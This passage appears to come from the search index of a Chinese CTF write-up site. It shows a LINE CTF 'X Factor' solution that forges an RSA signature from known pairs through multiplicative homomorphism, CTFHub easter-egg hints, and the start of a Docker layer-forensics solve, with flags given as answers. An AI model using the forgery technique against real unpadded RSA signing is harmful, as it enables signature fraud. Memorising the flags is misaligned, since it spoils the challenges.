0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 * 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 * 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a * 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c * 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb * 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd * 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a **What is the signature of 0x686178656c696f6e?** Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag. E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}` . \u89e3\u9898\u601d\u8def \u00b6 \u6839\u636e\u5df2\u77e5\u660e\u5bc6\u6587\u5bf9\u83b7\u53d6\u6307\u5b9a\u6d88\u606f 0x686178656c696f6e \u7684\u7b7e\u540d\uff0c\u53ea\u8981\u6307\u5b9a\u6d88\u606f\u7684\u56e0\u6570\u5305\u542b\u4e8e\u6240\u6709\u7ed9\u5b9a\u6d88\u606f\u7684\u56e0\u6570\uff0c\u5219\u53ef\u7531 RSA \u7684\u4e58\u6cd5\u540c\u6001\u6027\u63a8\u51fa \\(E(ab) = E(a) \\cdot E(b)(mod\\, n)\\) \\(E(a/b) = E(a) \\cdot E(b)^{-1}(mod\\, n)\\) \u83b7\u53d6\u6240\u6709\u660e\u6587\u7684\u56e0\u6570\uff0c\u53ef\u89c1\uff0c\u6307\u5b9a\u6d88\u606f\u6240\u6709\u56e0\u6570\u5b8c\u5168\u5305\u542b\u4e8e\u7ed9\u5b9a\u6d88\u606f\u7684\u56e0\u6570 from factordb.factordb import FactorDB pt = [ 0x686178656c696f6e , 0x945d86b04b2e7c7 , 0x5de2 , 0xa16b201cdd42ad70da249 , 0x6d993121ed46b , 0x726fa7a7 , 0x31e828d97a0874cff , 0x904a515 ] for i in pt : f = FactorDB ( i ) f . connect () print ( chr ( pt . index ( i ) + ord ( 'a' )), hex ( i ), f . get_factor_list ()) # a 0x686178656c696f6e [2, 197, 947, 2098711, 9605087] # b 0x945d86b04b2e7c7 [811, 947, 947, 947, 970111] # c 0x5de2 [2, 61, 197] # d 0xa16b201cdd42ad70da249 [970111, 2098711, 2098711, 2854343] # e 0x6d993121ed46b [947, 970111, 2098711] # f 0x726fa7a7 [61, 197, 197, 811] # g 0x31e828d97a0874cff [2098711, 2854343, 9605087] # h 0x904a515 [197, 811, 947] \u7ecf\u8fc7\u624b\u5de5\u8ba1\u7b97\uff0c\u6307\u5b9a\u6d88\u606f \\(a=\\frac{c\\times e^2\\times g\\times h^2}{b\\times d\\times f}\\) \uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5229\u7528 RSA \u7684\u4e58\u6cd5\u540c\u6001\u6027\u6c42\u89e3\u5c31\u597d\u5566 > < from Crypto.Util.number import inverse n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 ct = [ 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 , 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 , 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a , 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c , 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb , 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd , 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a ] S = inverse ( ct [ 0 ], n ) * ct [ 1 ] * inverse ( ct [ 2 ], n ) * pow ( ct [ 3 ], 2 , n ) * inverse ( ct [ 4 ], n ) * ct [ 5 ] * pow ( ct [ 6 ], 2 , n ) % n print ( hex ( S )[ - 32 :]) # a049347a7db8226d496eb55c15b1d840 Flag \u00b6 LINECTF{a049347a7db8226d496eb55c15b1d840} \u53c2\u8003\u8d44\u6599 \u00b6 Homomorphic Encryption For Division With RSA | by Prof Bill Buchanan OBE | Medium","title":"X Factor"},{"location":"crypto/x_factor/#_1","text":"Decrypt it! x_factor.md I have generated a RSA-1024 key pair: * public key exponent: 0x10001 * public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 Here are some known plain -> signature pairs I generated using my private key: * 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 * 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 * 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a * 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c * 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb * 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd * 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a **What is the signature of 0x686178656c696f6e?** Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag. E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}` .","title":"\u9898\u76ee"},{"location":"crypto/x_factor/#_2","text":"\u6839\u636e\u5df2\u77e5\u660e\u5bc6\u6587\u5bf9\u83b7\u53d6\u6307\u5b9a\u6d88\u606f 0x686178656c696f6e \u7684\u7b7e\u540d\uff0c\u53ea\u8981\u6307\u5b9a\u6d88\u606f\u7684\u56e0\u6570\u5305\u542b\u4e8e\u6240\u6709\u7ed9\u5b9a\u6d88\u606f\u7684\u56e0\u6570\uff0c\u5219\u53ef\u7531 RSA \u7684\u4e58\u6cd5\u540c\u6001\u6027\u63a8\u51fa \\(E(ab) = E(a) \\cdot E(b)(mod\\, n)\\) \\(E(a/b) = E(a) \\cdot E(b)^{-1}(mod\\, n)\\) \u83b7\u53d6\u6240\u6709\u660e\u6587\u7684\u56e0\u6570\uff0c\u53ef\u89c1\uff0c\u6307\u5b9a\u6d88\u606f\u6240\u6709\u56e0\u6570\u5b8c\u5168\u5305\u542b\u4e8e\u7ed9\u5b9a\u6d88\u606f\u7684\u56e0\u6570 from factordb.factordb import FactorDB pt = [ 0x686178656c696f6e , 0x945d86b04b2e7c7 , 0x5de2 , 0xa16b201cdd42ad70da249 , 0x6d993121ed46b , 0x726fa7a7 , 0x31e828d97a0874cff , 0x904a515 ] for i in pt : f = FactorDB ( i ) f . connect () print ( chr ( pt . index ( i ) + ord ( 'a' )), hex ( i ), f . get_factor_list ()) # a 0x686178656c696f6e [2, 197, 947, 2098711, 9605087] # b 0x945d86b04b2e7c7 [811, 947, 947, 947, 970111] # c 0x5de2 [2, 61, 197] # d 0xa16b201cdd42ad70da249 [970111, 2098711, 2098711, 2854343] # e 0x6d993121ed46b [947, 970111, 2098711] # f 0x726fa7a7 [61, 197, 197, 811] # g 0x31e828d97a0874cff [2098711, 2854343, 9605087] # h 0x904a515 [197, 811, 947] \u7ecf\u8fc7\u624b\u5de5\u8ba1\u7b97\uff0c\u6307\u5b9a\u6d88\u606f \\(a=\\frac{c\\times e^2\\times g\\times h^2}{b\\times d\\times f}\\) \uff0c\u90a3\u4e48\u63a5\u4e0b\u6765\u5229\u7528 RSA \u7684\u4e58\u6cd5\u540c\u6001\u6027\u6c42\u89e3\u5c31\u597d\u5566 > < from Crypto.Util.number import inverse n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3 ct = [ 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4 , 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50 , 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a , 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c , 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb , 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd , 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a ] S = inverse ( ct [ 0 ], n ) * ct [ 1 ] * inverse ( ct [ 2 ], n ) * pow ( ct [ 3 ], 2 , n ) * inverse ( ct [ 4 ], n ) * ct [ 5 ] * pow ( ct [ 6 ], 2 , n ) % n print ( hex ( S )[ - 32 :]) # a049347a7db8226d496eb55c15b1d840","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/x_factor/#flag","text":"LINECTF{a049347a7db8226d496eb55c15b1d840}","title":"Flag"},{"location":"crypto/x_factor/#_3","text":"Homomorphic Encryption For Division With RSA | by Prof Bill Buchanan OBE | Medium","title":"\u53c2\u8003\u8d44\u6599"},{"location":"eggs/ctfhub_exams/","text":"\u9898\u76ee \u00b6 \u6700\u540e\u3002\u6765\u627e\u627e\u9690\u85cf\u5728\u771f\u9898\u4e2d\u7684\u5f69\u86cb \u89e3\u9898\u601d\u8def \u00b6 \u5386\u5e74\u771f\u9898\u6807\u7b7e\uff0c\u7ffb\u5230\u6700\u540e\u4e00\u9875\uff0c\u53d1\u73b0 flag","title":"CTFHub - \u771f\u9898"},{"location":"eggs/ctfhub_exams/#_1","text":"\u6700\u540e\u3002\u6765\u627e\u627e\u9690\u85cf\u5728\u771f\u9898\u4e2d\u7684\u5f69\u86cb","title":"\u9898\u76ee"},{"location":"eggs/ctfhub_exams/#_2","text":"\u5386\u5e74\u771f\u9898\u6807\u7b7e\uff0c\u7ffb\u5230\u6700\u540e\u4e00\u9875\uff0c\u53d1\u73b0 flag","title":"\u89e3\u9898\u601d\u8def"},{"location":"eggs/ctfhub_index/","text":"\u9898\u76ee \u00b6 \u542c\u8bf4\u5728\u9996\u9875\u7684\u67d0\u4e2a\u5730\u65b9\u9690\u85cf\u4e86\u4e00\u4e2a flag\uff0c\u53ef\u80fd\u5728 *.ctfhub.com \u4e2d\uff0c\u4e0d\u59a8\u5148\u627e\u5230 flag \u518d\u6765\u5f00\u9898 \u89e3\u9898\u601d\u8def \u00b6 \u76f4\u63a5\u770b\u9996\u9875\u5e76\u6ca1\u6709\u4ec0\u4e48\u7279\u522b\u7684\u53d1\u73b0(\u256e\u014f\u03c9\u014f)\u256d \u9898\u76ee\u63d0\u793a flag \u53ef\u80fd\u5728 *.ctfhub.com \u4e2d\uff0c\u8bf4\u660e\u4e0d\u4e00\u5b9a\u662f www.ctfhub.com \u89c2\u5bdf\u8bbf\u95ee\u9996\u9875\u65f6\u7684\u7f51\u7edc\u901a\u4fe1\uff0c\u5171\u53d1\u73b0\u4e09\u4e2a\u57df\u540d\uff1a www.ctfhub.com \u3001api.ctfhub.com\u3001static.ctfhub.com \u8bbf\u95ee api.ctfhub.com \u5c31\u53ef\u4ee5\u53d1\u73b0 flag \u4e86 static.ctfhub.com \u5e76\u4e0d\u80fd\u8bbf\u95ee XD","title":"CTFHub - \u9996\u9875"},{"location":"eggs/ctfhub_index/#_1","text":"\u542c\u8bf4\u5728\u9996\u9875\u7684\u67d0\u4e2a\u5730\u65b9\u9690\u85cf\u4e86\u4e00\u4e2a flag\uff0c\u53ef\u80fd\u5728 *.ctfhub.com \u4e2d\uff0c\u4e0d\u59a8\u5148\u627e\u5230 flag \u518d\u6765\u5f00\u9898","title":"\u9898\u76ee"},{"location":"eggs/ctfhub_index/#_2","text":"\u76f4\u63a5\u770b\u9996\u9875\u5e76\u6ca1\u6709\u4ec0\u4e48\u7279\u522b\u7684\u53d1\u73b0(\u256e\u014f\u03c9\u014f)\u256d \u9898\u76ee\u63d0\u793a flag \u53ef\u80fd\u5728 *.ctfhub.com \u4e2d\uff0c\u8bf4\u660e\u4e0d\u4e00\u5b9a\u662f www.ctfhub.com \u89c2\u5bdf\u8bbf\u95ee\u9996\u9875\u65f6\u7684\u7f51\u7edc\u901a\u4fe1\uff0c\u5171\u53d1\u73b0\u4e09\u4e2a\u57df\u540d\uff1a www.ctfhub.com \u3001api.ctfhub.com\u3001static.ctfhub.com \u8bbf\u95ee api.ctfhub.com \u5c31\u53ef\u4ee5\u53d1\u73b0 flag \u4e86 static.ctfhub.com \u5e76\u4e0d\u80fd\u8bbf\u95ee XD","title":"\u89e3\u9898\u601d\u8def"},{"location":"eggs/ctfhub_match/","text":"\u9898\u76ee \u00b6 \u8d5b\u4e8b\u4e2d\u8c8c\u4f3c\u4e5f\u6709\u54ce \u89e3\u9898\u601d\u8def \u00b6 \u8d5b\u4e8b\u4e2d\u5fc3\u6807\u7b7e\uff0c\u67e5\u8be2\u540d\u79f0\u4e3a egg \u7684\u8d5b\u4e8b","title":"CTFHub - \u8d5b\u4e8b"},{"location":"eggs/ctfhub_match/#_1","text":"\u8d5b\u4e8b\u4e2d\u8c8c\u4f3c\u4e5f\u6709\u54ce","title":"\u9898\u76ee"},{"location":"eggs/ctfhub_match/#_2","text":"\u8d5b\u4e8b\u4e2d\u5fc3\u6807\u7b7e\uff0c\u67e5\u8be2\u540d\u79f0\u4e3a egg \u7684\u8d5b\u4e8b","title":"\u89e3\u9898\u601d\u8def"},{"location":"eggs/ctfhub_tools/","text":"\u9898\u76ee \u00b6 \u5de5\u5177\u4e2d\u4e5f\u9690\u85cf\u4e86\u4e00\u4e2a\uff0c\u4e0d\u59a8\u7ffb\u4e00\u7ffb\uff1f \u89e3\u9898\u601d\u8def \u00b6 \u5de5\u5177\u6807\u7b7e\uff0c\u7ffb\u5230\u6700\u540e\u4e00\u9875\uff0c\u53d1\u73b0\u5f69\u86cb\uff0c\u94fe\u63a5\u5373\u5305\u542b flag","title":"CTFHub - \u5de5\u5177"},{"location":"eggs/ctfhub_tools/#_1","text":"\u5de5\u5177\u4e2d\u4e5f\u9690\u85cf\u4e86\u4e00\u4e2a\uff0c\u4e0d\u59a8\u7ffb\u4e00\u7ffb\uff1f","title":"\u9898\u76ee"},{"location":"eggs/ctfhub_tools/#_2","text":"\u5de5\u5177\u6807\u7b7e\uff0c\u7ffb\u5230\u6700\u540e\u4e00\u9875\uff0c\u53d1\u73b0\u5f69\u86cb\uff0c\u94fe\u63a5\u5373\u5305\u542b flag","title":"\u89e3\u9898\u601d\u8def"},{"location":"eggs/ctfhub_wechat/","text":"\u9898\u76ee \u00b6 \u5728 CTFHub \u5fae\u4fe1\u516c\u4f17\u53f7\u4e0a\u7b7e\u5230\u53ef\u83b7\u5f97\u66f4\u591a\u91d1\u5e01\u3002\u542c\u8bf4\u5728\u5fae\u4fe1\u516c\u4f17\u53f7\u4e0a\u4e5f\u6709\u4e2a\u5f69\u86cb\uff0c\u53bb\u770b\u770b\u5427 \u89e3\u9898\u601d\u8def \u00b6","title":"CTFHub - \u516c\u4f17\u53f7"},{"location":"eggs/ctfhub_wechat/#_1","text":"\u5728 CTFHub \u5fae\u4fe1\u516c\u4f17\u53f7\u4e0a\u7b7e\u5230\u53ef\u83b7\u5f97\u66f4\u591a\u91d1\u5e01\u3002\u542c\u8bf4\u5728\u5fae\u4fe1\u516c\u4f17\u53f7\u4e0a\u4e5f\u6709\u4e2a\u5f69\u86cb\uff0c\u53bb\u770b\u770b\u5427","title":"\u9898\u76ee"},{"location":"eggs/ctfhub_wechat/#_2","text":"","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/233_docker/","text":"\u9898\u76ee \u00b6 233 \u540c\u5b66\u5728\u8f6f\u5de5\u8bfe\u4e0a\u5b66\u5230\u4e86 Docker \u8fd9\u79cd\u65b9\u4fbf\u7684\u4e1c\u897f\uff0c\u4e8e\u662f\u7ed9\u81ea\u5df1\u7684\u5b57\u7b26\u4e32\u5de5\u5177\u9879\u76ee\u5199\u4e86\u4e00\u4e2a Dockerfile\u3002 \u4f46\u662f 233 \u540c\u5b66\u7a81\u7136\u53d1\u73b0\u5b83\u4e0d\u5c0f\u5fc3\u628a\u4e00\u4e2a\u79c1\u5bc6\u6587\u4ef6\uff08flag.txt\uff09\u6253\u5305\u8fdb\u53bb\u4e86\uff0c\u4e8e\u662f\u5199\u4e86\u4e00\u884c\u547d\u4ee4\u5220\u6389\u8fd9\u4e2a\u6587\u4ef6\u3002 \u300c\u65e2\u7136\u5df2\u7ecf\u5220\u6389\u4e86\uff0c\u5e94\u8be5\u4e0d\u4f1a\u88ab\u4eba\u627e\u51fa\u6765\u5427\uff1f\u300d233 \u60f3\u9053\u3002 Docker Hub \u5730\u5740\uff1a 8b8d3c8324c7/stringtool \u57fa\u7840\u77e5\u8bc6 \u00b6 Docker \u955c\u50cf\u7531\u4e00\u7cfb\u5217\u5c42\u7ec4\u6210\uff0c\u9664\u6700\u540e\u4e00\u5c42\uff0c\u5176\u4ed6\u90fd\u662f\u53ea\u8bfb\u5c42\uff0c\u6bcf\u4e00\u5c42\u4ee3\u8868\u4e00\u53e5 Dockerfile \u6307\u4ee4\uff0c\u8fd9\u4e9b\u5c42\u88ab\u5806\u53e0\u8d77\u6765\uff0c\u6bcf\u4e00\u5c42\u90fd\u662f\u4e0a\u4e00\u5c42\u53d8\u5316\u7684\u589e\u91cf \u53ea\u6709 RUN \u3001 COPY \u3001 ADD \u6307\u4ee4\u521b\u5efa\u65b0\u7684\u5c42\uff0c\u5176\u5b83\u6307\u4ee4\u53ea\u521b\u5efa\u4e34\u65f6\u4e2d\u95f4\u955c\u50cf\uff0c\u4e0d\u589e\u52a0\u6784\u5efa\u7684\u5927\u5c0f \u6bcf\u4e2a\u955c\u50cf\u5c42\u5728 /var/lib/docker/ \u4e0b\u90fd\u6709\u81ea\u5df1\u7684\u76ee\u5f55\uff0c\u5305\u542b\u955c\u50cf\u7684\u5185\u5bb9 \u89e3\u9898\u601d\u8def \u00b6 \u9898\u76ee\u4e2d\u63d0\u5230 \u4e8e\u662f\u5199\u4e86\u4e00\u884c\u547d\u4ee4\u5220\u6389\u8fd9\u4e2a\u6587\u4ef6 \uff0c\u4f7f\u7528\u7684\u5e94\u8be5\u662f\u5f62\u5982 RUN rm flag.txt \u7684\u547d\u4ee4\uff0c RUN \u6307\u4ee4\u4f1a\u521b\u5efa\u65b0\u7684\u5c42\uff0c\u800c\u975e\u4f7f\u7528\u4e34\u65f6\u4e2d\u95f4\u955c\u50cf\uff0c\u90a3\u4e48\u627e\u5230\u8fd9\u4e00\u5c42\uff0c\u5c31\u53ef\u4ee5\u627e\u5230 flag.txt \u83b7\u53d6\u5404\u5c42\u7684\u76ee\u5f55\u4fe1\u606f\uff0c\u955c\u50cf\u5c42\u4e3a lowerdir \uff0c diff \u76ee\u5f55\u4e0b\u5305\u542b\u8be5\u5c42\u7684\u5185\u5bb9 $ docker inspect 8b8d3c8324c7/stringtool [ { \"Id\" : \"sha256:be6d023618d199e0ec7448f70e5e47a00c6c2b79777ad5e2d312a6f74d6ad56b\" , \"RepoTags\" : [ \"8b8d3c8324c7/stringtool:latest\" ] , \"RepoDigests\" : [ \"8b8d3c8324c7/stringtool@sha256:aef87a00ad7a4e240e4b475ea265d3818c694034c26ec227d8d4f445f3d93152\" ] , \"Parent\" : \"\" , \"Comment\" : \"\" , \"Created\" : \"2020-10-16T12:51:09.221320098Z\" , \"Container\" : \"d2f452fddd5c71c8c57a29d67f29c69ffac419440d57664dad6e4ba1f0eff8a1\" , \"ContainerConfig\" : { ... } , \"DockerVersion\" : \"19.03.5\" , \"Author\" : \"Software_Engineering_Project\" , \"Config\" : { ... } , \"Architecture\" : \"amd64\" , \"Os\" : \"linux\" , \"Size\" : 1430524643 , \"VirtualSize\" : 1430524643 , \"GraphDriver\" : { \"Data\" : { \"LowerDir\" : \"/var/lib/docker/overlay2/6edccc4d6d8f057b4b42b8f448b9bbbd4809be182e9fa263ac4a486a08f0bedd/diff: /var/lib/docker/overlay2/72c760a6faaf0c00299a0416d4a7d7892dbbe84c0d723e3cd026cf9bc23f2225/diff: /var/lib/docker/overlay2/9c29b0ec3156e99f41991b01534021a575347898c6836c8077f5516ffee138af/diff: /var/lib/docker/overlay2/a8721c9f92017818f0bfb114966aa0b84b543cfbefe359cfb5fd733df7e25431/diff: /var/lib/docker/overlay2/ebfbfcd1df60c25be45dd84de29f38b15f39825ce5f231492a85cd857f08af31/diff: /var/lib/docker/overlay2/bf646619d7607fb28d5deec60b2e340a612add9825590f34a23e8205c5d209f6/diff: /var/lib/docker/overlay2/31943f86d1bbe26181f3bef8f3ae1de40f2650458ad373a8a2a71f5234d61890/diff: /var/lib/docker/overlay2/29d9434b310f8c5a17746f7c8a5d56e84c631696794e752fb2e19ab2112d1534/diff: /var/lib/docker/overlay2/ea91dc145974b3159822f833367282a6cff5bc4fed614146b07e931795679298/diff: /var/lib/docker/overlay2/f3eb4d3cf03440fded8f1bf09c8e797472471fcacbe25217b7ce7f9ffab3f309/diff: /var/lib/docker/overlay2/d47b622e362e0bbbd442de5608ef290f62e7a828c3c49ef4897c2bd6bc53cddf/diff: 